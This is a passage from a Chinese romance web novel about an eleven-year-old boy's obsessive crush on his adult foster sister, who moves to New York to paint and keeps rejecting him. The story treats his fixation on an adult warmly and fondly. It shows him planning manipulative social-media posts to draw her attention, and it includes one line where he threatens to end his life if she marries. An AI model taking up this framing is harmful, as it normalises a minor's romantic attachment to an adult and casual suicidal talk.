金发女孩和沈知逸面对面。
黎娜看向陈研：“你后来也被领养走了吗？”
第一句话是跟陈研说的，陈研特别嘚瑟地看了沈知逸一眼，笑嘻嘻地回答：“是啊。”
黎娜：“哦，领养你的人怎么样？”
沈知逸握紧筷子，姐姐为什么要问那个老头，难道对那个老头有意思？
陈研兴致很高：“对我挺好的，他之前的妻子和孩子在车祸中去世了，听老师说我的父母也是在车祸中去世的，可能经历差不多，还挺惺惺相惜的，就把我给领走了。”
黎娜点头：“挺好的。”
陈研拿起筷子吃饭，偷偷抬眸看黎娜，犹豫了几秒钟，开口道：“姐姐，之前的事情对不起，我承认我是故意把沈知逸关进厕所里的，因为想被你领养走。”
听到沈知逸的名字，黎娜愣了片刻，在这些小孩面前，她已经做不到像从前那样跟沈知逸坦然相处了，只能让自己尽量去忽视他，包括现在也是，会偷偷惦记着他，但是不再用明显的语言和行为去关心他。
沈知逸把面前的糖醋小排推到金发女孩那边，就低下头吃饭。
黎娜挑眉，对沈知逸的举动感到不可思议，但也没说什么，问陈研：“你为什么要关沈知逸，你知道我想领养他？”
陈研：“那时候你刚进孤儿院，被我不小心撞了一下，我看到你去找沈知逸了，还递给他巧克力，我就知道你们认识。”
黎娜问：“你们平时在学校里经常一起玩吗？我刚才听老师说你们玩得很好。”
陈研笑得露出八颗牙齿：“对啊，他篮球还是我教的呢。”
刚说完，就被人用力踹了一脚，他不悦地朝沈知逸看过去。
沈知逸认真吃饭。
于是，陈研也用力踹回去，尽量不弄出动静，跟沈知逸在桌子下面打了一架，路过的同学无一不为之侧目。
吃完饭，陈研回去了。
沈知逸拉住金发女孩的袖子：“第一节课下课我去找你，你想喝什么？”
金发女孩想了一会：“玫瑰花茶。”
沈知逸说：“好。”
金发女孩也离开了。
沈知逸这才抬眸看向黎娜，微微一笑，卷毛盖住眼睛，情绪也被盖住了，变得很模糊。
“姐姐，我送你到学校门口。”
黎娜想说不用了，但是沈知逸已经撇下她，往校门口的方向走了，她无奈只能跟上他，反正这段路也不长。
她走到沈知逸身旁。
沈知逸抠着手指头：“对不起，今天又给你添麻烦了。”
黎娜愣住：“没关系，来我自己以前的学校看看还挺怀念的。”
想到那个金发女孩，黎娜笑了一下：“是因为那个女孩才跟陈研打架的吗？”
沈知逸点头。
黎娜心里轻松了许多：“你喜欢那个女孩对吧，我看你还给她糖醋排骨，那不是你最爱的吗？”
沈知逸浑身如过电，一阵发麻，心脏剧烈跳动，不可置信地瞪大了眼睛。
姐姐竟然知道他爱吃的东西。
但转念一想，知道又能怎么样，姐姐对弟弟的关心而已，知道弟弟的喜好不是很正常？而且黎娜根本就不喜欢他，这一点是毋庸置疑的。
想到这里，沈知逸垂下眸子，失落的情绪被眼睫毛盖住。
“嗯，我喜欢她。”
黎娜神色一僵。
沈知逸继续说：“这种喜欢，和对姐姐的喜欢完全不一样，不是亲情，不是依赖，也不是仰慕，就想每天和她在一起，每一顿饭都一起吃，想永远在一起……”
姐姐。
他在心里喊她，她不会知道。
黎娜从怔愣中回过神来，嘴角上扬，笑得眉头紧皱。
“我们小知逸，也会喜欢女孩子啦，真可爱。不过不要因为这些事情耽误了学习，你们现在还太小了，应该以学习为主。”
沈知逸模样乖巧：“我知道的，学习最重要。”
走到校门口，热风吹起黎娜的卷发，黏在红艳饱满的嘴唇上，她用手指小心翼翼地拨开，撩到
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耳朵后面，红唇微微上扬。
沈知逸抬起眸子，透过眼前的碎发看着她，心脏狠狠撞击着胸口，不自觉后退一小步，唯恐心跳声被姐姐听到，那他做的一切努力都将白费。
黎娜目光温柔：“那就再见啦。”
沈知逸朝她挥手：“姐姐再见。”
目送黎娜开车离开，沈知逸站到黎娜刚才站过的位置，慢慢蹲下来，往旁边挪了一点，用手掌心覆到黎娜刚才踩过的那块土地上。
非要这样吗，当着姐姐的面说喜欢别人，明明难过得都要哭了，但还是要让自己露出幸福满足的表情，他演技够好吗，够能骗过姐姐，让姐姐不再躲着他吗……
口袋里的手机响了一下，沈知逸拿出来看，是陈研发来的。
陈研：【我让你看到姐姐了，别忘了你答应我的，让我去你家打一个月的游戏。】
沈知逸：【好。】
计划赶不上变化，黎娜最后说的那句“再见”，是真的跟他再见了。
为了让黎娜主动过来找他，沈知逸频繁在朋友圈发自拍照，比如洗完澡的湿发照，面对着阳光的照片……
一步一步慢慢来，先误导黎娜，让黎娜以为那些照片是发给他喜欢的女孩子看的，从而让黎娜担心他早恋，主动过来提醒他。
到后面，他会发作业的照片，照片里会露出一些边边角角，有从外面捡回来的空香烟盒子，还有倒进酒瓶里的果汁……
让黎娜误以为他学坏了，从而对他进行批评教育，他可能是真的疯了，只要能让黎娜主动过来找他，不管是什么毫无下限的事情他都愿意去做，只要能引起她的注意。
但他发的所有朋友圈，从来没有黎娜的点赞或是评论，黎娜从来没有找过他，他设置过仅黎娜可见，黎娜视而不见，别人也看不见，什么回应都没有，他做了这么多却没有激起一点水花。
沈知逸在朋友圈沉寂了很久。
黎娜向辛西娅递交了辞呈。
辛西娅接过来瞥了一眼，发出一声冷笑：“这是干什么，好不容易在珠宝行业稳定下来，又不干了，你是过来玩的？”
黎娜微笑：“这个职位还是留给真正喜欢珠宝设计的人吧。”
辛西娅把辞呈放到桌上：“接下来你想去干什么？”
黎娜往前走了一步，双手撑在桌子上，弯下腰来低头凑过去，直勾勾地盯着辛西娅，笑得又坏又魅。
“你在对我感兴趣吗，辛西娅？”
辛西娅稳如泰山：“是去画画吧？”
黎娜瞪大双眼：“你怎么会知道？”
辛西娅说：“在你来面试之前，黎董过来找过我，跟我说了一些有关于你的事情。”
黎娜有些不悦，站直了身体：“他说了什么？”
辛西娅：“他说你之前很喜欢画画，并且非常有天赋，但是因为一些事情，你产生了心理障碍，再也没有办法拿起画笔，希望我不要对你太过严苛。”
黎娜表情有一瞬的失控，差点没忍住眼泪，貌似半信半疑：“是吗？”
辛西娅也站起来，看着她，在公司里从来没有笑过的冷面阎王，竟然对她笑了。
辛西娅：“祝愿你的作品，将来闻名天下。”
黎娜怔住，也笑了：“也祝愿你，就算每天耷拉着脸，也不长一根皱纹。”
辛西娅笑容消失：“辞职的人就是有底气。”
黎娜：“这是我对你最真挚的祝福。”
你这个时尚界的女魔头。
40. 公狗觉醒
飞机落地，纽约当地时间是晚上十一点半。
黎娜随着人流下飞机，拍了张夜空的照片编辑到朋友圈，犹豫了几秒，又在下面加了一个定位。
关于辞职的事情，她没有跟任何人说，也没让辛西娅告诉黎父，就这么一声不吭地飞过来了，说走就走，先斩后奏，就连温琳都不知道。
这个世界，国内还是中午。
她朋友圈刚发出去，温琳就点赞了，紧接着一个电话打过来。
温琳的咆哮声从手机里传出来：“我靠！娜娜你去哪里了！”
黎娜把手机拿远了一点：“你不是给我的朋友圈点赞了吗，定位没有看到？”
温琳：“我看到了啊，你怎么出去玩都不叫我呢，你都不爱我了，罢了罢了，毕竟咱俩都这么多年了，人都是会喜新厌旧的，呜呜呜呜呜……”
黎娜：“……”
黎娜：“我不是出来玩的。”
温琳：“哈？”
黎娜：“我要在这里画画。”
温琳：“国内不是一样能画？”
黎娜：“感觉不一样，在国内我画不出来，很浮躁，之前在这里上学我能画出来，所以我又回去了。”
温琳：“那我怎么办呀，你这个渣女，难道你不要我和肚子里的孩子了吗，那可是你的骨肉啊……”
黎娜：“……”
又发神经了。
黎娜：“没正事我就挂了。”
温琳：“呜呜呜呜，娜娜……”
黎娜挂断电话。
她之前上学在纽约待过五年，那时候黎父在曼哈顿给她安置了一处房产，自从她回国以后，每隔一段时间就有佣人过去打扫，现在可以直接拎包入住。
黎娜在房子里转了一圈，还保持着她离开前的样子，画板放在阳台上，绿植也生机勃勃，仿佛她从来没有离开过，学生时代恍如昨日。
窗外高楼大厦拔地而起，全球著名企业的总部大楼几乎都在这里，这是纽约的经济中心，是最繁华的地方。
黎娜躺在床上，把手机关机，闭上了眼睛，呼吸逐渐平缓。
明天又是新的开始。
黎娜，你要找回曾经的自己。
看到黎娜发的那条朋友圈，沈知逸把图片放大，发现最下面有几张外国人的脸，周围的建筑上全是大写的英文，还有下面那个定位，他去上网查了一下，是在美国。
记得除夕夜那一天，黎娜跟他说过，她要被派去国外的分公司工作了，难道是在美国，她是不是再也不回来了。
这念头一出，沈知逸“噌”地站起来，下意识想把午饭倒掉，赶紧去找姐姐，但转念一想，他怎么找，美国离得那么远，他什么证件都没有，要怎么去？
现在除了干着急，他什么都做不了，一种无能为力的颓丧感瞬间包围了他，他跌坐回椅子上，给黎娜发消息。
沈知逸【姐姐，你去美国了吗？】
等了很久，黎娜没有回复。
黎父发消息过来：【你姐姐怎么突然跑到美国去了，连声招呼都不打，还辞职了。】
沈知逸：【姐姐辞职了吗，我不知道，她什么都没跟我说。】
黎父：【她之前的上司刚才过来找我了，说你姐姐要去国外画画，短时间内应该不回来了。】
沈知逸：【那我是不是再也看不到她了，她以后还会回来吗？】
黎父：【不知道她怎么想的，小知逸，以后再有什么事情，你就给我发消息，别碰到事情不吭声，知道了吗？】
沈知逸：【嗯，知道了。】
还想再问一些关于姐姐的事情，但是怕引起黎叔叔的怀疑，他只能忍住。
整个下午，沈知逸都跟丢了魂一样，打篮球的时候还被砸到脸了，鼻血瞬间喷涌出来，顺着嘴唇往下滴。
他却好像感觉不到痛，目光呆滞地看着前方，疼痛混合着情绪达到了一个临界点，触动了泪腺闸门，眼泪就这么猝不及防地涌了出来，完全控制不住，混合着鼻血流了一脸。
陈研看他这样都觉得憋屈，拧开一瓶矿泉水朝他走过去，把水拿到他头顶上，直接地往下倒。
沈知逸没有躲开，闭上眼睛，让水冲掉了脸上的鼻血，连着眼泪一起冲掉，要是所有的情绪也能随着水一起流走就好了，他真的不想再这样下去了。
“你清醒了吗？”
陈研将矿泉水瓶捏成一团，瞄准垃圾桶投进去。
沈知逸睁开眼睛，湿漉漉的卷毛紧贴在脸上，睫毛上挂着水珠显得又黑又亮，鼻子里划出几缕血丝没入唇中，漫开一股咸腥的铁锈味。
他轻声说：“我姐姐走了。”
陈研皱眉：“走了？”
“嗯，去美国了，离我有一万多公里。”
陈研：“……”
“她走了，那我怎么办……”
陈研：“除了好好上学，你还能怎么办。”
沈知逸捂住脸，泪水从指缝中溢出来：“她是为了躲着我吧，我明明已经很努力了，努力地扮演出不喜欢她的样子，可她还是走了，一点机会都不愿意留给我。”
“去美国了吗……”陈研喃喃自语，拍了拍沈知逸的肩膀，“去美国了又能怎么样，你可以去找她啊，咱们这个学校上完高中可以对接国外本科的，而且你不是很会弹钢琴吗，往艺术方面发展，去国外再合适不过了。”
沈知逸眼泪顿住，用袖子擦干净脸，哭红的眼睛看着他，嘴唇有些发抖。
“上完高中……那还要五年时间，等我过去了，我姐姐都二十九岁了，她会不会看上哪个外国人就结婚了？”
沈知逸说到这里，忽然变得焦虑起来，抓着自己的头发不知道该怎么办，神经质地在原地打转。
“外国人都很漂亮的，我们这个学校里就有很多外国男生，他们的头发是金色的，眼睛蓝蓝的很漂亮，长得也很高，都特别帅，姐姐肯定会喜欢上他们的……”
“我等不及的……”
沈知逸眼眶发红，泪光闪烁：“我该怎么办，都怪我年纪太小了，我要是能早出生几年就好了，我为什么要出生得那么晚，我要是跟姐姐年纪一样大就好了，比她小两三岁也好啊，总比十一岁好，最起码能让人有点希望……”
陈研一巴掌拍脑门上：“沈知逸，你没救了。”
沈知逸点头，心如死灰。
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“如果姐姐跟别人结婚了，那我就不活了。”
陈研震惊：“我靠！你别吓我！”
沈知逸擦掉眼泪：“我活不下去的，要我知道她跟别的男人在一起，与其我痛苦地活着，还不如去死终结这份痛苦。”
他还没死，陈研都快被他吓死了。
陈研摸着胸口，安抚着不安的小心脏：“别这么极端吧，结婚了也能离婚啊，而且现在很多女生都结婚很晚的，到三十多岁都不一定会结婚呢，你不要这么悲观。”
沈知逸叹气：“我就怕万一。”
陈研抿唇：“你现在说这些也没用，你都没成年，就非要跟你姐姐在一起，你考虑过如果你跟你姐姐在一起了，别人会怎么看待你姐姐吗，你不怕警察把你姐姐抓起来，给你姐姐定个引诱未成年的罪名？”
沈知逸瞪大双眼，连忙解释：“姐姐从来没有引诱过我的，是我自己喜欢姐姐的，姐姐一直在拒绝我，凶我，不让我喜欢她，怎么可能会引诱我……”
陈研沉默几秒：“可我总觉得你被她引诱了。”
沈知逸低下头，不知想到了什么，脸颊微红，闷声闷气地说：“我也想被她引诱，可是她真的没有……”
陈研拍脑瓜。
真的没救了，这是个病入膏肓的恋爱脑+纯爱战士！
黎娜去以前的学校转了一圈，又去墨西哥湾的白沙滩玩了几天，期间完成了一副画作，是人物画。
一个有着乌黑卷发的小女孩，左半边脸裂开歪斜，向左延伸出去一个截然不同的男性的人格，背景右半边是向日葵，左半边，也是男性那一边为冷兵器。
本以为创作过程会非常难熬，没想到非常顺利，一天一夜，不眠不休画完了，而且一点疲惫感都没有，天一亮她就带去机构，给机构负责人看画。
负责人是个五十多岁的金发老头，卷曲的胡子盖住了嘴巴，头发很长，显得有些凌乱，衣服上沾满了各种颜色的颜料，但并不显得脏，反而让这身衣服颇有设计感。
负责人说：“非常抱歉，黎小姐，你的这幅画并没有感动到我，请问你画这幅画的时候是什么心情？”
黎娜笑容一僵，极快地平复好情绪，嘴角再次上扬，面部肌肉不再那么僵硬，她用英语回答：“我非常地开心，因为一些事情，我很多年没有办法拿起画笔，但是这次我成功完成了一副画，不管结果如何，我都非常开心。”
负责人把画推到她面前。
“艺术创作是需要痛苦的，你从小到大一定过着衣食无忧的生活，没有经历过挫折，所以画出东西很美好，也很平淡，没有冲击力，不足以给人留下深刻印象。”
黎娜笑而不语。
负责人以为自己得到了认可，继续道：“我们画画的，就是要用画笔将痛苦画出来，用我们的痛苦，引起观赏者心中痛苦的共鸣，能引起痛苦共鸣的作品，才是好作品。”
黎娜拿起自己的画，微微一笑：“我认为的好作品，是能够引发人们对美好事物的想象，而不是痛苦。艺术是有力量的，它可以由我们的画笔传播出去，疗愈观赏者在生活中的伤痛，成为他们躯体里永不枯竭的力量。”
41. 公狗觉醒
回到家，黎娜把画放到阳光充足的地方，用手机拍了张照片，发到朋友圈，配文：【被拒稿啦。】
她朋友圈刚发出去，还不到一分钟就有人给她点赞了，她以为是温琳，点开来一看竟然是沈知逸，国内这个时间应该是深夜。
沈知逸窝在被窝里，卧室内一片漆黑，屏幕光把他脸照得发白，他捧着手机，点开评论的对话框，斟酌着用词，想安慰姐姐。
在他写了删，删了写的时候，黎娜的朋友圈又多了两个赞和两条评论，是黎父和温琳。
温琳：【不是吧，这都能拒稿啊，来，娜娜，你把画卖给我，我出一百块钱，多大方，看我对你多好！】
黎娜：【你在羞辱我。】
沈知逸没加温琳好友，看不到她的评论，只能看到黎娜发的，不禁去想是谁在羞辱姐姐，姐姐在国外是不是受欺负了，姐姐真的好可怜，好担心姐姐……
黎父：【画得真棒，我从来没有看到过这么漂亮的画，我们娜娜是最棒的！[强][强][强]】
黎娜：【嘿嘿。】
沈知逸鼓起勇气，把对话框里的字发送出去：【好好看的画，姐姐好厉害，不要被别人影响了信心，你真的很棒！】
黎娜没有回他，他眼皮发沉，强撑着没有去睡觉，心想姐姐都回黎叔叔了，肯定也会回他的，但是没有。
他闭上眼睛想眯一会，结果等再睁开眼睛的时候，外面天都亮了。
沈知逸手忙脚乱地从被窝里摸出手机，进入微信，朋友圈没有消息提醒。
姐姐故意不回他，忽视他。
沈知逸放下手机，笑容苦涩。
黎娜在国外频频受挫，沈知逸在钢琴社混得风生水起。
每到学校举办节日晚会，沈知逸就会被音乐老师拽去参加，慢慢的，他就习惯了万人瞩目的感觉，不再那么容易紧张了。
音乐老师甚至把他钢琴演奏的视频放到了学校官网上，用来吸引对学校有意向的新生，学校钢琴部的大屏幕上也在播放他的演奏视频。
在一次演奏会结束后，陈研心不甘情不愿地在后台等他，手里抱着一堆礼物和零食。
沈知逸看到他，有些惊讶：“你怎么过来了？”
陈研弯下腰，脑袋在沈知逸的肩膀上一阵狂蹭，把额头上的汗水都蹭到他衣服上，反问回去：“对啊，我怎么过来了？”
沈知逸看着他手里的零食：“这些吃的是你给我买的？谢谢你。”
“不客气。”陈研脸不红心不跳。
“那我吃了。”
“吃吧。”
沈知逸正好饿了，拿了几袋小零食吃，他吃得很开心，完全没发现在不远处，有很多女生激动得跳来跳去，捂着嘴说悄悄话。
“啊啊啊啊！他吃我送的零食了！”
“也吃我的了！还连吃了两袋！”
“他叫沈知逸是吗，他弹钢琴的样子好帅啊，那个小卷毛跟我家泰迪狗一样，好可爱啊啊啊！”
陈研脸色黑如锅底，他打篮球不帅吗？为什么不送他零食？
天知道他在篮球场上浑汗如雨，看到一群妹子站在场外看着他，心里得意得都要飘起来了，结果中场休息的时候，这群妹子把零食塞进他怀里，麻烦他带给沈知逸，他整个人都石化了，气呼呼地拒绝了她们，结果就被这群女生从篮球场里拽出来，硬是拖到了演奏厅，他真是……乌鸡鲅鱼。
陈研说：“这些吃的不是我买的。”
沈知逸一顿，嘴角上还沾着零食碎屑：“那是谁买的？”
陈研用下巴指了指那群女生。
沈知逸看过去，只见那些女生迅速避开他的目光，捂着脸跑走了。
沈知逸：“……”
陈研嘴角抽搐：“很奇怪对吧？”
沈知逸不明所以地看向他。
陈研说：“明明我长得这么帅，可她们就跟眼睛瞎了一样。”
沈知逸有点云里雾里，摸不着头脑，手里的那袋零食空了，他又从陈研怀里抽出一袋。
“诶，你别光顾着吃！有东西掉了！”
沈知逸垂眸看去，发现一个淡粉色的信封飘落到地面上，他弯下腰拾起来打开，里面有一张折叠起来的纸，隐约可以看见字。
陈研一脸激动：“我靠！不会是情书吧，快给我看看！”
陈研：“我说呢，我长得这么帅，怎么会没有女孩子喜欢我呢，她们还真是害羞呢，肯定是不好意思直接给我，所以借着让我给你送零食，想让我发现这封情……书？”
他目光落到信上，开头一句“沈知逸同学”差点把他送走，他用拇指掐住人中，边掐边看。
看完之后，沈知逸认真地把信按照折痕叠回去，小心翼翼地放进信封里：“我要去给她回信了。”
陈研一脸懵逼：“回什么信，你要答应她？你不是你喜欢你姐姐吗？”
“对啊，我喜欢姐姐，所以我要给她回一封拒绝信。”
“哈？这是情书啊大哥！不答应直接扔掉就好了，你还回信，我真服了！”
沈知逸双手捏住情书，垂下眸子，看着信封上雕刻精致的印花图案。
“可是我不想把她的心意扔进垃圾桶里，我也有喜欢的人，我明白她的心情，如果将来有一天我也写情书给我喜欢的人，她扔掉了，我肯定会很难过的，我不想让喜欢我的人难过，我希望她们天天开心。”
陈研看他这样，不知怎么的，突然好感动哦，眼眶都有点发热了，他仰头望天：“沈知逸，你是个好人。”
沈知逸点头：“还要麻烦你，帮我把信送回去，谢谢你。”
陈研：“？？？”
陈研怒吼：“我靠，不是吧！那么多女的，我哪知道是谁，她们长什么样我都忘了！你自己去，嘿嘿，跟小蝌蚪找妈妈一样。”
沈知逸：“……”
放学后，沈知逸去琴房练钢琴。
音乐老师也在，翻到他今天要练习的曲目：“下次晚会弹这首曲子。”
沈知逸看着乐谱：“这个曲子我一直弹不好……”
音乐老师：“对，每次高/潮过后，开始衔接第二段，你都弹得很手忙脚乱，卡不到拍子上，不过这个曲子确实很有难度，你弹成这样，已经是同级里弹得最好的了。”
沈知逸“哦”了一声，手放到琴键上，时不时抬眸瞥一眼乐谱，手脚配合，优美的旋律如同小溪般从他指尖流淌出来。
学校的钢琴，音色和质感都没有姐姐给他买的那台好。想到姐姐，他忽然感到痛苦，又觉得很幸福。
痛
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苦是因为姐姐离开，幸福是因为对于他来说，想念姐姐这件事情本身就是幸福的。
最起码，他还能想念她，幸福的同时伴随着极其强烈的痛苦，仿佛形成了一个闭环，越幸福，就越痛苦。
沈知逸面色平静，心里翻起惊涛骇浪，手指动作紧凑有序，一丝不苟，高潮旋律即将结束，马上要开始衔接第二段。
音乐老师站在旁边，面无表情，心跳在加快，要来了。
她平息屏气。
沈知逸看了眼琴谱，左手灵活地向右滑动，耐心收尾，右手横跨过左手，开启第二段，在高潮的尾声中，有激昂磅礴的旋律隐藏其中，如同蛰伏在黑夜草丛中的野兽，若隐若现，再以迅猛地速度扑向猎物，迅速占据为主旋律。
音乐老师瞪大双眼，浑身血液沸腾，一股热流从脚底直冲而上，她几乎要控制不住自己的激动，想为沈知逸鼓掌。
他成功了。
经历过那么多次的失败。
他可以做到。
只要他永远不选择放弃。
一曲结束，沈知逸站起来。
音乐老师激动地问：“今天怎么突然可以了？”
沈知逸看着她：“因为痛苦。”
“痛苦？”
沈知逸说：“这是一首很痛苦很挣扎的曲子，我在旋律里捕捉到了作者的痛苦，我跟他产生了共鸣。”
音乐老师皱眉：“这首曲子的作者，在上个世纪初就离世了。”
沈知逸垂下眼帘，看着自己的脚尖。
“艺术就是这样吧，就算作者离开了，他的作品也能长久地保留下来。在一百年之后，会有无数个听众和弹奏者，跟活在一百年前的他产生同一种关于痛苦的共鸣。”
姐姐，我希望将来能为你创作一首永远都不会停止的曲子，就像一条小溪能穿过时光永远向前流淌。人类最多只能活一百年，对于我来说还是太短暂了，我要我肉身腐烂之后，爱意永远炽热滚烫。
晚上，沈知逸洗完澡，头发湿漉漉的在往下滴水，他随手拿了条毛巾盖在脑袋上，坐在空调出风口，点进和黎娜的聊天框。
最后一条信息，还停留在他上次发的那条，已经过去了好几个月了，黎娜都没有回。
头发上的水滴到手机屏幕上，往下流淌，页面开始颤动，沈知逸正想用手擦掉，就跳出来一条系统提示：【我拍了拍姐姐。】
啊啊啊啊啊啊！
沈知逸在心中发出一阵尖叫，用毛巾把湿发紧紧裹住，整个人趴在手机面前，有一种很强烈的预感。
他预感姐姐这次会回他。
印证他的猜想，黎娜回了。
黎娜：【对，我来美国了。】
还是回复他几个月前发的消息。
沈知逸激动到差点跳起来，把被子团在一起，紧紧地抱在怀里，颇有一种屎壳郎抱着粪球的既视感。
他又有了一个新的预感。
他预感如果给姐姐打电话过去，姐姐会接。
为了印证自己的猜想，沈知逸鼓起勇气，在通讯中找到黎娜的电话号码，拨了过去。
“嘟——嘟——”
忙音响了两下，消失了。
黎娜的声音传了过来。
“喂，沈知逸，是不是你？”
42. 公狗觉醒
沈知逸握紧手机，心跳在一瞬间达到了巅峰，连呼吸都停止了。
他把电话打过去了，但是还没有想好要说什么，现在呼吸都乱了，喉咙肌肉很紧张，他张着嘴巴连一丝声音都发不出来，汗水顺着太阳穴往下淌，痒痒的，像是有蚂蚁在爬。
“喂？”黎娜再度出声。
沈知逸终于找回了自己的声音：“姐、姐姐……”
黎娜：“嗯。”
这个“嗯”带着鼻音，却没有小女孩撒娇的那种感觉，很冰冷，很漫不经心，沈知逸可以想象到她抿紧的红唇，漂亮冷淡的侧脸，只是浅浅幻想，都让他骨头发痒。
沈知逸抱着手机走到阳台，看着天空上的月亮，热风吹动他的小卷毛，他心神荡漾，全部注意力都集中在手机里，夜晚出奇静谧。
“你去美国……是不是为了躲着我？”
他用力抠手指，抠到指腹发白。
黎娜说：“不是，就算是为了躲着你，我也没必要跑这么远。”
沈知逸垂眸：“哦，那你什么时候回来？”
黎娜：“不知道，再看吧。”
再看吧，那就是很大概率不回来了，沈知逸趴在栏杆上，用力挤压着胸口，试图让不舒服的感觉盖过心里的难受，可是根本就没有用，难受就是难受。
情绪在失控边缘徘徊，他放弃挣扎，鼻腔里涌出一股酸意，眼眶逐渐发热，平日里乖巧懂事和善解人意，在姐姐面前全部分崩离析。其实，他也想自私一点，自私到让相隔万里的她也不那么痛快，永远被他的感情折磨。
“姐姐，我好想你。”
“真的，特别特别地想你。”
“你回来好不好，求你了……”
视野内一片模糊，沈知逸轻轻地呼吸着，耳朵贴着出声筒，很久没有听到黎娜的声音。
心里有些害怕，他看了屏幕一眼，显示还在通话中，才松了口气。
手机那头传来一阵沉重的叹息声，黎娜似乎很疲惫。
“你那边是晚上对吧，电话挂掉吧，去睡觉，明天还要上学。”
沈知逸皱起眉头，眼眶发红，很难过很委屈的样子：“我们都还没说几句话，你就要我挂掉，我现在都见不到你，你连句话都不愿意跟我说了吗？”
黎娜声线冷漠：“对，我希望你不要总是过来打扰我，我想把时间都用在画画上，你现在就是在耽误我的时间，而我时间是有限的，我希望我生命中每一分钟都不会被浪费掉。”
沈知逸不可置信，眼泪无意识地往外涌，停留在颤抖的嘴唇上：“你的意思是，我给你打电话，是在浪费你的时间？我给你添麻烦了对不对？”
他想她想得要死掉了。
黎娜毫不犹豫：“对。”
沈知逸吸了吸鼻子：“对你来说，画画重要，还是我重要？”
“这两个东西不是一个物种，不能放在一起比较。”
“哦，原来我只是一个‘东西’啊……”
“沈知逸，你有必要这样跟我抠字眼？”
“明明是你不小心说漏嘴了吧，我只是一个‘东西’，哪里比得上你崇高的梦想。”
黎娜忍无可忍般深吸口气：“你非要这样跟我说话吗？我真想弄死你！”
沈知逸委屈地要死，哭着质问她：“难道不是你先开始的吗？我一直在跟你好好说话，是你一直在说我打扰你，浪费你的时间……”
黎娜沉默了。
手机里传出她急促的呼吸声，过了很久才平缓下来。
她用一种极其冷静，又极其癫狂的语气说：“对，是我错了，是我对你态度不好，我就应该把你供起来，可我就是这样的人啊，我讨厌一切要跟感情扯上关系的东西，我讨厌我自己，我讨厌你，不管是什么，我都特别讨厌！”
“所以，我拜托你，以后不要再给我打电话，不要再发信息给我，让我一个人烂在泥里！”
沈知逸被她冷漠凶狠的语气吓到了，手指抓紧栏杆，无措地喊她：“姐姐……”
“嘟——嘟——”
电话被黎娜挂断。
沈知逸再次拨过去，显示正在通话中。
他连着拨了十几次，刚开始还响几声，后面就直接说手机关机。
沈知逸突然开始生自己的气，都怪他，在姐姐明显心情不好的时候，他不该说话那么冲，还拿自己跟姐姐的梦想做比较，最后还把姐姐惹生气了，姐姐现在肯定很讨厌他了。
沈知逸进入微信，点进和黎娜的对话框。
沈知逸：【姐姐，对不起，你不要生我气，不要讨厌我，好不好。】
他发了一个做错事情低着头，不敢抬头看主人的小狗表情包过去。
黎娜没有回复。
后来，黎娜去了很多机构投稿，要么分成太低，要么不肯给她推荐，甚至有的还让她自费推荐。
分成太低，她不在乎，因为她有的是钱，并不需要用画画来谋生，但是就那么点钱，总让她有一种受到侮辱的感觉，而且她讨厌用金钱来衡量作品的价值。
与其把作品的代理权交给机构，处处受限，制造出迎合市场的商业稿，还不如发到自己的社交平台上，吸引那一小部分跟她同频的人。
在理想和现实之间认清了自己的内心，黎娜浑身轻松了不少，也不再沮丧，每天都充满活力，激情创作，把作品发到社交平台，慢慢积累了一万多的粉丝。
她给自己放了个小长假，跟以前的大学同学获得了联系，一起相约去了瑞士和冰岛，在瑞士她画了童话般的格林德瓦小镇，在冰岛她画了喷发的岩浆和梦幻的极光。
回到美国，她参加各种聚会，认识了很多新朋友，她会画画，会弹钢琴，当过模特和珠宝设计师，人长得漂亮，身材也好，人们都愿意跟她来往。
从桌上拿起一杯鸡尾酒，粉色的水晶手链磕到杯壁上，发出清脆的声音，女孩们的目光落到她手腕上，一下子都围了过来。
“好漂亮的手链，是哪个牌子的？”
“看起来很温柔，非常适合你。”
“做工也不错。”
这条手链，是黎娜全身上下最便宜的饰品，但丝毫不影响她自信大方地抬起手腕给她们展示。
黎娜微笑道：“这是去年我弟弟送给我的新年礼物。”
“哦，是吗，他的眼光真好。”
“Lena，你长得这么漂亮，你的弟弟也一定非常英俊吧？”
黎娜抬起下巴，非常自豪：“他
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不仅英俊，钢琴也弹得非常好，他以后会成为一名出色的钢琴家。”
“他钢琴比你弹得还要好吗？”
黎娜：“那当然，他是个非常优秀的小孩。”
“以后有机会，一定要带给我们看看。”
黎娜笑容僵住，目光落到手腕上的粉水晶手链，想起上次那一通电话，她和沈知逸不欢而散。
不知道该怎么形容她和沈知逸之间的感情，好像自从发现了沈知逸喜欢她这件事之后，她就总是控制不住地对他恶言相向，还出手伤害他，将自己最恶劣的一面毫无下限地暴露在他面前，还有之前投稿受挫，拿他当出气筒……
其实她的本意，是想把沈知逸吓跑，让沈知逸不要再喜欢她。
但这个小孩真的非常倔，认定了一个人，就要死抓着不放手，要他放弃，就跟要他命一样。
她不知道自己还能坚持多久。
聚会结束后，黎娜将一些照片发到国内的社交平台，那条粉水晶手链也在其中。
她更新动态的消息跳出来，沈知逸立刻停下手头的所有事情，点进她的主页，认真看她新动态里的每一张照片。
当看到自己送出去的那条粉水晶手链被黎娜戴在手上，他不可置信地瞪大了眼睛，放大仔细看，确实是他送的那条。
心脏仿佛被某种甜蜜的东西填满了，特别满足，之前堆积在心头的郁闷情绪也一扫而空，沈知逸嘴角上扬，点开评论区，看到有人求手链链接。
黎娜回复：【没有链接哦，这条手链是弟弟送的礼物。】
看到自己被黎娜提起，沈知逸激动得都坐不住了，在床上乱爬乱滚了一通，重新坐起来，看着屏幕傻笑。
有人回复黎娜的评论。
Winlyn：【呕吼，手链是小知逸送给你的吗，他眼光还不错嘛！】
Winlyn：【我有时候出门，还能看到你家小知逸放学回来，比之前长高了不少。】
Lena：【下次拍照片给我看看。】
沈知逸立马窜进卫生间里，站在镜子面前，看自己的脸，左看看右看看，自认为长得还算可以，但有时候风太大会把他头发吹起来，就会不怎么好看，以后放学回来的时候他要注意一下形象了，让“狗仔”拍张帅气的照片发给姐姐。
点进Winlyn的主页，往下滑，全是跳舞视频，放眼望去满屏的细腰大长腿，有的还穿着黑丝袜，各种擦边姿势……
沈知逸脸红红的，点了一个穿着最不暴露的视频，看到她那张脸，他整个人都愣住了。
这个女生他认识，之前见过很多次，跟姐姐关系很亲密。
主页介绍那里有一段：【合作请+卫星。】
下面是一串号码，沈知逸复制到微信搜索，发送请求添加通知，验证信息是：【我是沈知逸。】
那边瞬间通过。
Winlyn：【我是温琳姐姐。】
沈知逸把备注改掉。
温琳姐：【小知逸，你从哪里知道我微信号的呀？是你姐姐告诉你的吗？】
沈知逸：【……】
